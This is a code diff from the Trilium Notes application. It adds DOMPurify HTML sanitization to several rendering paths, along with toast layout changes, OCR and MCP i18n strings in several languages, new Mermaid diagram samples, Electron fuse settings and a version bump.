// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -544,14 +544,11 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
vertical-align: middle;
}
#toast-container .toast .toast-header .btn-close {
#toast-container .toast .toast-header .btn-close,
#toast-container .toast .toast-close .btn-close {
margin: 0 0 0 12px;
}
#toast-container .toast.no-title {
flex-direction: row;
}
#toast-container .toast .toast-body {
flex-grow: 1;
overflow: hidden;

View File

@@ -26,7 +26,8 @@
.modal .modal-header .btn-close,
.modal .modal-header .help-button,
.modal .modal-header .custom-title-bar-button,
#toast-container .toast .toast-header .btn-close {
#toast-container .toast .toast-header .btn-close,
#toast-container .toast .toast-close .btn-close {
display: flex;
justify-content: center;
align-items: center;
@@ -46,12 +47,14 @@
}
.modal .modal-header .btn-close,
#toast-container .toast .toast-header .btn-close {
#toast-container .toast .toast-header .btn-close,
#toast-container .toast .toast-close .btn-close {
--modal-control-button-hover-background: var(--modal-close-button-hover-background);
}
.modal .modal-header .btn-close::after,
#toast-container .toast .toast-header .btn-close::after {
#toast-container .toast .toast-header .btn-close::after,
#toast-container .toast .toast-close .btn-close::after {
content: "\ec8d";
font-family: boxicons;
}
@@ -67,7 +70,8 @@
.modal .modal-header .btn-close:hover,
.modal .modal-header .help-button:hover,
.modal .modal-header .custom-title-bar-button:hover,
#toast-container .toast .toast-header .btn-close:hover {
#toast-container .toast .toast-header .btn-close:hover,
#toast-container .toast .toast-close .btn-close:hover {
background: var(--modal-control-button-hover-background);
color: var(--modal-control-button-hover-color);
}
@@ -75,19 +79,22 @@
.modal .modal-header .btn-close:active,
.modal .modal-header .help-button:active,
.modal .modal-header .custom-title-bar-button:active,
#toast-container .toast .toast-header .btn-close:active {
#toast-container .toast .toast-header .btn-close:active,
#toast-container .toast .toast-close .btn-close:active {
transform: scale(.85);
}
.modal .modal-header .btn-close:focus,
.modal .modal-header .help-button:focus,
#toast-container .toast .toast-header .btn-close:focus {
#toast-container .toast .toast-header .btn-close:focus,
#toast-container .toast .toast-close .btn-close:focus {
box-shadow: none !important;
}
.modal .modal-header .btn-close:focus-visible,
.modal .modal-header .help-button:focus-visible,
#toast-container .toast .toast-header .btn-close:focus-visible {
#toast-container .toast .toast-header .btn-close:focus-visible,
#toast-container .toast .toast-close .btn-close:focus-visible {
outline: 2px solid var(--input-focus-outline-color);
outline-offset: 2px;
}

View File

@@ -2093,7 +2093,10 @@
"process_now": "Process OCR",
"processing": "Processing...",
"processing_started": "OCR processing has been started. Please wait a moment and refresh.",
"processing_complete": "OCR processing complete.",
"processing_failed": "Failed to start OCR processing",
"text_filtered_low_confidence": "OCR detected text with {{confidence}}% confidence, but it was discarded because your minimum threshold is {{threshold}}%.",
"open_media_settings": "Open Settings",
"view_extracted_text": "View extracted text (OCR)"
},
"command_palette": {
@@ -2304,7 +2307,9 @@
"sample_user_journey": "User Journey",
"sample_xy": "XY",
"sample_venn": "Venn",
"sample_ishikawa": "Ishikawa"
"sample_ishikawa": "Ishikawa",
"sample_treeview": "TreeView",
"sample_wardley": "Wardley Map"
},
"mind-map": {
"addChild": "Add child",

View File

@@ -399,7 +399,7 @@
"calendar_root": "nóta marcáilte ar cheart a úsáid mar fhréamh do nótaí lae. Níor cheart ach ceann amháin a mharcáil mar sin.",
"archived": "Ní bheidh nótaí leis an lipéad seo le feiceáil de réir réamhshocraithe i dtorthaí cuardaigh (i ndialóga Léim Chuig, Cuir Nasc Leis srl. chomh maith).",
"exclude_from_export": "ní chuirfear nótaí (lena bhfo-chrann) san áireamh in aon onnmhairiú nótaí",
"run": "Sainmhíníonn sé seo cé na himeachtaí ar cheart don script rith orthu. Is iad seo a leanas na luachanna féideartha:\n<ul>\n<li>frontendStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ach ní ar fhóin phóca.</li>\n<li>mobileStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ar fhóin phóca.</li>\n<li>backendStartup - nuair a thosaíonn cúltaca Trilium</li>\n<li>uair an chloig - rith uair san uair. Is féidir leat lipéad breise <code>runAtHour</code> a úsáid chun a shonrú cén uair a ritheann sé.</li>\n<li>daily - rith uair sa lá</li>\n</ul>",
"run": "Sainmhíníonn sé seo cé na himeachtaí ar cheart don script rith orthu. Is iad seo a leanas na luachanna féideartha:\n<ul>\n<li>frontendStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ach ní ar fhóin phóca.</li>\n<li>mobileStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ar fhóin phóca.</li>\n<li>backendStartup - nuair a thosaíonn cúltaca Trilium.</li>\n<li>hourly - rith uair san uair. Is féidir leat lipéad breise <code>runAtHour</code> a úsáid chun a shonrú cén uair a ritheann sé.</li>\n<li>daily - rith uair sa lá.</li>\n</ul>",
"run_on_instance": "Sainmhínigh cén sampla de Trilium ba chóir é seo a rith air. Réamhshocrú do gach sampla.",
"run_at_hour": "Cén uair ar cheart é seo a rith? Ba cheart é a úsáid i dteannta <code>#run=hourly</code>. Is féidir é seo a shainiú arís agus arís eile le haghaidh níos mó ritheanna i rith an lae.",
"disable_inclusion": "Ní chuirfear scripteanna leis an lipéad seo san áireamh i bhforghníomhú an scripte tuismitheora.",
@@ -709,7 +709,8 @@
"export_as_image": "Easpórtáil mar íomhá",
"export_as_image_png": "PNG (rastar)",
"export_as_image_svg": "SVG (veicteoir)",
"note_map": "Léarscáil nótaí"
"note_map": "Léarscáil nótaí",
"view_ocr_text": "Féach ar théacs OCR"
},
"onclick_button": {
"no_click_handler": "Níl aon láimhseálaí cliceáil sainithe ag an ngiuirléid cnaipe '{{componentId}}'"
@@ -1224,12 +1225,28 @@
},
"images": {
"images_section_title": "Íomhánna",
"download_images_automatically": "Íoslódáil íomhánna go huathoibríoch le húsáid as líne.",
"download_images_description": "Is féidir tagairtí díomhánna ar líne a bheith i HTML greamaithe, aimseoidh Trilium na tagairtí sin agus íoslódálfaidh sé na híomhánna ionas go mbeidh siad ar fáil as líne.",
"enable_image_compression": "Cumasaigh comhbhrú íomhá",
"max_image_dimensions": "Uasleithead/airde íomhá (athrófar méid na híomhá má sháraíonn sí an socrú seo).",
"download_images_automatically": "Íomhánna a íoslódáil go huathoibríoch",
"download_images_description": "Íoslódáil íomhánna tagartha ar líne ó HTML greamaithe ionas go mbeidh siad ar fáil as líne.",
"enable_image_compression": "Comhbhrú íomhá",
"max_image_dimensions": "Uasmhéid toisí íomhá",
"max_image_dimensions_unit": "picteilíní",
"jpeg_quality_description": "Cáilíocht JPEG (10 - an caighdeán is measa, 100 - an caighdeán is fearr, moltar 50 - 85)"
"jpeg_quality_description": "Is é an raon molta ná 5085. Laghdaíonn luachanna níos ísle méid an chomhaid, agus coinníonn luachanna níos airde sonraí.",
"enable_image_compression_description": "Comhbhrúigh agus athraigh méid íomhánna nuair a uaslódálfar nó a ghreamaítear iad.",
"max_image_dimensions_description": "Athrófar méid íomhánna a sháraíonn an méid seo go huathoibríoch.",
"jpeg_quality": "Cáilíocht JPEG",
"ocr_section_title": "Eastóscadh Téacs (OCR)",
"ocr_related_content_languages": "Teangacha ábhair (a úsáidtear le haghaidh eastóscadh téacs)",
"ocr_auto_process": "Próiseáil comhaid nua go huathoibríoch",
"ocr_auto_process_description": "Bain téacs go huathoibríoch as comhaid atá uaslódáilte nó greamaithe le déanaí.",
"ocr_min_confidence": "Íosmhuinín",
"ocr_confidence_description": "Ná bain ach téacs os cionn an tairsí muiníne seo. Cuimsíonn luachanna níos ísle níos mó téacs ach d'fhéadfadh siad a bheith níos lú cruinn.",
"batch_ocr_title": "Próiseáil Comhaid atá ann cheana",
"batch_ocr_description": "Bain téacs as na híomhánna, na PDFanna agus na doiciméid Office go léir atá i do nótaí. Dfhéadfadh sé seo roinnt ama a thógáil ag brath ar líon na gcomhad.",
"batch_ocr_start": "Tosaigh Próiseáil Bhaisc",
"batch_ocr_starting": "Ag tosú próiseáil bhaisc...",
"batch_ocr_progress": "Ag próiseáil {{processed}} de {{total}} comhad...",
"batch_ocr_completed": "Próiseáil bhaisc críochnaithe! Próiseáladh {{processed}} comhad.",
"batch_ocr_error": "Earráid le linn próiseála baisce: {{error}}"
},
"attachment_erasure_timeout": {
"attachment_erasure_timeout": "Am Teorann Scriosadh Ceangaltáin",
@@ -1275,7 +1292,7 @@
"custom_name_label": "Ainm innill chuardaigh saincheaptha",
"custom_name_placeholder": "Saincheap ainm an innill chuardaigh",
"custom_url_label": "Ba chóir go mbeadh {keyword} san áireamh mar áitchoinneálaí don téarma cuardaigh i URL inneall cuardaigh saincheaptha.",
"custom_url_placeholder": "Saincheap url an innill chuardaigh",
"custom_url_placeholder": "Saincheap URL an innill chuardaigh",
"save_button": "Sábháil"
},
"tray": {
@@ -1903,7 +1920,7 @@
},
"content_language": {
"title": "Teangacha ábhair",
"description": "Roghnaigh teanga amháin nó níos mó ar cheart dóibh a bheith le feiceáil sa rogha teanga sa rannán Airíonna Bunúsacha de nóta téacs inléite amháin nó in-eagarthóireachta. Ceadóidh sé seo gnéithe ar nós seiceáil litrithe tacaíocht ó dheis go clé."
"description": "Roghnaigh teanga amháin nó níos mó ar cheart dóibh a bheith le feiceáil sa rogha teanga sa rannán Airíonna Bunúsacha de nóta téacs inléite amháin nó in-eagarthóireachta. Ceadaíonn sé seo gnéithe ar nós seiceáil litrithe, tacaíocht ó dheis go clé agus eastóscadh téacs (OCR)."
},
"switch_layout_button": {
"title_vertical": "Bog an painéal eagarthóireachta go dtí an bun",
@@ -2308,7 +2325,8 @@
"note_context_enabled": "Cliceáil chun comhthéacs nótaí a dhíchumasú: {{title}}",
"note_context_disabled": "Cliceáil chun an nóta reatha a chur san áireamh i gcomhthéacs",
"no_provider_message": "Níl aon soláthraí AI cumraithe. Cuir ceann leis chun comhrá a thosú.",
"add_provider": "Cuir Soláthraí AI leis"
"add_provider": "Cuir Soláthraí AI leis",
"sources_summary": "{{count}} foinsí ó {{sites}} suíomhanna"
},
"sidebar_chat": {
"title": "Comhrá AI",
@@ -2348,6 +2366,44 @@
"delete_provider_confirmation": "An bhfuil tú cinnte gur mian leat an soláthraí \"{{name}}\" a scriosadh?",
"api_key": "Eochair API",
"api_key_placeholder": "Cuir isteach d'eochair API",
"cancel": "Cealaigh"
"cancel": "Cealaigh",
"feature_not_enabled": "Cumasaigh an ghné turgnamhach LLM i Socruithe → Ardleibhéil → Gnéithe turgnamhacha chun comhtháthú AI a úsáid.",
"mcp_title": "MCP (Prótacal Comhthéacs Múnla)",
"mcp_enabled": "Freastalaí MCP",
"mcp_enabled_description": "Nochtaigh críochphointe Prótacal Comhthéacs Múnla (MCP) ionas gur féidir le cúntóirí códaithe AI (m.sh. Claude Code, GitHub Copilot) do nótaí a léamh agus a mhodhnú. Ní féidir rochtain a fháil ar an gcríochphointe ach ó localhost.",
"mcp_endpoint_title": "URL críochphointe",
"mcp_endpoint_description": "Cuir an URL seo le cumraíocht MCP do chúntóra AI",
"tools": {
"search_notes": "Cuardaigh nótaí",
"get_note": "Faigh nóta",
"get_note_content": "Faigh ábhar nótaí",
"update_note_content": "Nuashonraigh ábhar an nóta",
"append_to_note": "Cuir leis an nóta",
"create_note": "Cruthaigh nóta",
"get_attributes": "Faigh tréithe",
"get_attribute": "Faigh tréith",
"set_attribute": "Socraigh tréith",
"delete_attribute": "Scrios tréith",
"get_child_notes": "Faigh nótaí leanaí",
"get_subtree": "Faigh fo-chrann",
"load_skill": "Luchtaigh scileanna",
"web_search": "Cuardach gréasáin",
"note_in_parent": "<Note/> i <Parent/>",
"get_attachment": "Faigh ceangaltán",
"get_attachment_content": "Léigh ábhar an cheangail"
}
},
"ocr": {
"extracted_text": "Téacs Bainte (OCR)",
"extracted_text_title": "Téacs Bainte (OCR)",
"loading_text": "Ag lódáil téacs OCR...",
"no_text_available": "Níl aon téacs OCR ar fáil",
"no_text_explanation": "Níor próiseáladh an nóta seo le haghaidh eastóscadh téacs OCR nó níor aimsíodh aon téacs.",
"failed_to_load": "Theip ar lódáil téacs OCR",
"process_now": "Próiseas OCR",
"processing": "Ag próiseáil...",
"processing_started": "Tá próiseáil OCR tosaithe. Fan nóiméad agus athnuachan le do thoil.",
"processing_failed": "Theip ar phróiseáil OCR a thosú",
"view_extracted_text": "Féach ar théacs eastósctha (OCR)"
}
}

View File

@@ -2265,7 +2265,8 @@
"note_context_enabled": "クリックしてノートのコンテキストを無効にする: {{title}}",
"note_context_disabled": "クリックして現在のノートをコンテキストに含める",
"no_provider_message": "AI プロバイダーが設定されていません。チャットを開始するには、プロバイダーを追加してください。",
"add_provider": "AI プロバイダーを追加"
"add_provider": "AI プロバイダーを追加",
"sources_summary": "{{count}} 件のソースを {{sites}} サイトから取得"
},
"sidebar_chat": {
"title": "AI チャット",
@@ -2305,7 +2306,32 @@
"delete_provider_confirmation": "プロバイダー \"{{name}}\" を削除してもよろしいですか?",
"api_key": "API キー",
"api_key_placeholder": "API キーを入力してください",
"cancel": "キャンセル"
"cancel": "キャンセル",
"feature_not_enabled": "AI 連携機能を使用するには、「設定」→「高度」→「実験的機能」で LLM 実験的機能を有効にしてください。",
"mcp_title": "MCPモデル コンテキスト プロトコル)",
"mcp_enabled": "MCP サーバー",
"mcp_enabled_description": "AI コーディングアシスタントClaude Code、GitHub Copilotートを読み取って変更できるように、モデルコンテキストプロトコルMCPエンドポイントを公開します。このエンドポイントは localhost からのみアクセス可能です。",
"mcp_endpoint_title": "エンドポイント URL",
"mcp_endpoint_description": "この URL を AI アシスタントの MCP 設定に追加してください",
"tools": {
"search_notes": "ノートを検索",
"get_note": "ノートを取得",
"get_note_content": "ノートの内容を取得",
"update_note_content": "ノートの内容を更新",
"append_to_note": "ノートに追記",
"create_note": "ノートを作成",
"get_attributes": "複数の属性を取得",
"get_attribute": "属性を取得",
"set_attribute": "属性を設定",
"delete_attribute": "属性を削除",
"get_child_notes": "子ノートを取得",
"get_subtree": "サブツリーを取得",
"load_skill": "スキルを読み込む",
"web_search": "Web 検索",
"note_in_parent": "<Note/> を <Parent/>",
"get_attachment": "添付ファイルを取得",
"get_attachment_content": "添付ファイルの内容を読み取る"
}
},
"ocr": {
"extracted_text": "抽出されたテキストOCR",

View File

@@ -28,9 +28,10 @@
overflow: hidden;
}
.toast.no-title {
.toast.no-title .toast-main-row {
display: flex;
flex-direction: row;
align-items: center;
}
.toast.no-title .toast-icon {
@@ -40,22 +41,26 @@
}
.toast.no-title .toast-body {
padding-inline-start: 0;
padding-inline-end: 0;
flex: 1;
padding-block: var(--bs-toast-padding-y);
padding-inline: 0;
}
.toast.no-title .toast-header {
background-color: unset !important;
.toast.no-title .toast-close {
display: flex;
align-items: center;
padding: var(--bs-toast-padding-y) var(--bs-toast-padding-x);
}
.toast {
.toast-buttons {
padding: 0 1em 1em 1em;
padding: 0 var(--bs-toast-padding-x) var(--bs-toast-padding-y) var(--bs-toast-padding-x);
display: flex;
gap: 1em;
justify-content: space-between;
flex-direction: column;
gap: 0.5em;
.btn {
width: 100%;
color: var(--bs-toast-color);
background: var(--modal-control-button-background);

View File

@@ -5,7 +5,6 @@ import { useEffect } from "preact/hooks";
import { removeToastFromStore, ToastOptionsWithRequiredId, toasts } from "../services/toast";
import Icon from "./react/Icon";
import { RawHtmlBlock } from "./react/RawHtml";
import Button from "./react/Button";
export default function ToastContainer() {
@@ -43,21 +42,24 @@ function Toast({ id, title, timeout, progress, message, icon, buttons }: ToastOp
id={`toast-${id}`}
>
{title ? (
<div class="toast-header">
<strong class="me-auto">
{toastIcon}
<span class="toast-title">{title}</span>
</strong>
{closeButton}
</div>
<>
<div class="toast-header">
<strong class="me-auto">
{toastIcon}
<span class="toast-title">{title}</span>
</strong>
{closeButton}
</div>
<div className="toast-body">{message}</div>
</>
) : (
<div class="toast-icon">{toastIcon}</div>
<div class="toast-main-row">
<div class="toast-icon">{toastIcon}</div>
<div className="toast-body">{message}</div>
<div class="toast-close">{closeButton}</div>
</div>
)}
<RawHtmlBlock className="toast-body" html={message} />
{!title && <div class="toast-header">{closeButton}</div>}
{buttons && (
<div class="toast-buttons">
{buttons.map(({ text, onClick }) => (

View File

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
))}
</div>
</div>

View File

@@ -1,6 +1,7 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: $renderedContent.html() };
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,6 +13,27 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(subHtml);
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
$highlightsList.append(
$("<li>")
.html(subHtml)
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -1,6 +1,8 @@
import DOMPurify from "dompurify";
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -37,7 +39,7 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: html as string
__html: sanitizeNoteContentHtml(html as string)
};
}

View File

@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(headingText);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -1,11 +1,13 @@
import "./ReadOnlyTextRepresentation.css";
import type { TextRepresentationResponse } from "@triliumnext/commons";
import type { OCRProcessResponse, TextRepresentationResponse } from "@triliumnext/commons";
import { useEffect, useState } from "preact/hooks";
import appContext from "../../components/app_context";
import { t } from "../../services/i18n";
import server from "../../services/server";
import toast from "../../services/toast";
import { randomString } from "../../services/utils";
import { TypeWidgetProps } from "./type_widget";
type State =
@@ -62,10 +64,35 @@ export function TextRepresentation({ textUrl, processUrl }: TextRepresentationPr
async function processOCR() {
setProcessing(true);
try {
const response = await server.post<{ success: boolean; message?: string }>(processUrl, { forceReprocess: true });
const response = await server.post<OCRProcessResponse>(processUrl, { forceReprocess: true });
if (response.success) {
toast.showMessage(t("ocr.processing_started"));
setTimeout(fetchText, 2000);
const result = response.result;
const minConfidence = response.minConfidence ?? 0;
// Check if text was filtered due to low confidence
if (result && !result.text && result.confidence > 0 && minConfidence > 0) {
const confidencePercent = Math.round(result.confidence * 100);
const thresholdPercent = Math.round(minConfidence * 100);
toast.showPersistent({
id: `ocr-low-confidence-${randomString(8)}`,
icon: "bx bx-info-circle",
message: t("ocr.text_filtered_low_confidence", {
confidence: confidencePercent,
threshold: thresholdPercent
}),
timeout: 15000,
buttons: [{
text: t("ocr.open_media_settings"),
onClick: ({ dismissToast }) => {
appContext.tabManager.openInNewTab("_optionsMedia", null, true);
dismissToast();
}
}]
});
} else {
toast.showMessage(t("ocr.processing_complete"));
}
setTimeout(fetchText, 500);
} else {
toast.showError(response.message || t("ocr.processing_failed"));
}

View File

@@ -104,6 +104,6 @@ body.desktop .note-detail-split .note-detail-code-editor {
.note-detail-split.svg-editor .render-container svg {
width: 100%;
height: 100%;
max-width: 100%;
max-width: 100% !important;
}
/* #endregion */

View File

@@ -505,6 +505,47 @@ ishikawa-beta
Environment
Subject moved too quickly
Too dark
`
},
{
name: t("mermaid.sample_treeview"),
content: `\
treeView-beta
"src"
"components"
"Button.tsx"
"Modal.tsx"
"services"
"api.ts"
"utils.ts"
"index.ts"
"package.json"
"README.md"
`
},
{
name: t("mermaid.sample_wardley"),
content: `\
wardley-beta
title Tea Shop
anchor Customers [0.95, 0.63]
anchor Business [0.95, 0.27]
component Cup of Tea [0.79, 0.61]
component Tea [0.63, 0.81]
component Cup [0.57, 0.46]
component Water [0.52, 0.89]
component Kettle [0.47, 0.53]
component Power [0.36, 0.72]
Customers -> Cup of Tea
Business -> Cup of Tea
Cup of Tea -> Tea
Cup of Tea -> Cup
Cup of Tea -> Water
Water -> Kettle
Kettle -> Power
`
}
];

View File

@@ -1,4 +1,5 @@
import type { ForgeConfig } from "@electron-forge/shared-types";
import { FuseV1Options, FuseVersion } from "@electron/fuses";
import { LOCALES } from "@triliumnext/commons";
import { existsSync } from "fs";
import fs from "fs-extra";
@@ -166,6 +167,17 @@ const config: ForgeConfig = {
{
name: "@electron-forge/plugin-auto-unpack-natives",
config: {}
},
{
name: "@electron-forge/plugin-fuses",
config: {
version: FuseVersion.V1,
[FuseV1Options.RunAsNode]: false,
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
[FuseV1Options.EnableNodeCliInspectArguments]: false,
[FuseV1Options.EnableCookieEncryption]: true,
[FuseV1Options.OnlyLoadAppFromAsar]: true
}
}
],
hooks: {

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/desktop",
"version": "0.102.1",
"version": "0.102.2",
"description": "Build your personal knowledge base with Trilium Notes",
"private": true,
"main": "src/main.ts",
@@ -27,16 +27,9 @@
"better-sqlite3": "12.8.0",
"electron-debug": "4.1.0",
"electron-dl": "4.0.0",
"electron-squirrel-startup": "1.0.1",
"jquery.fancytree": "2.38.5",
"jquery-hotkeys": "0.2.2"
"electron-squirrel-startup": "1.0.1"
},
"devDependencies": {
"@types/electron-squirrel-startup": "1.0.2",
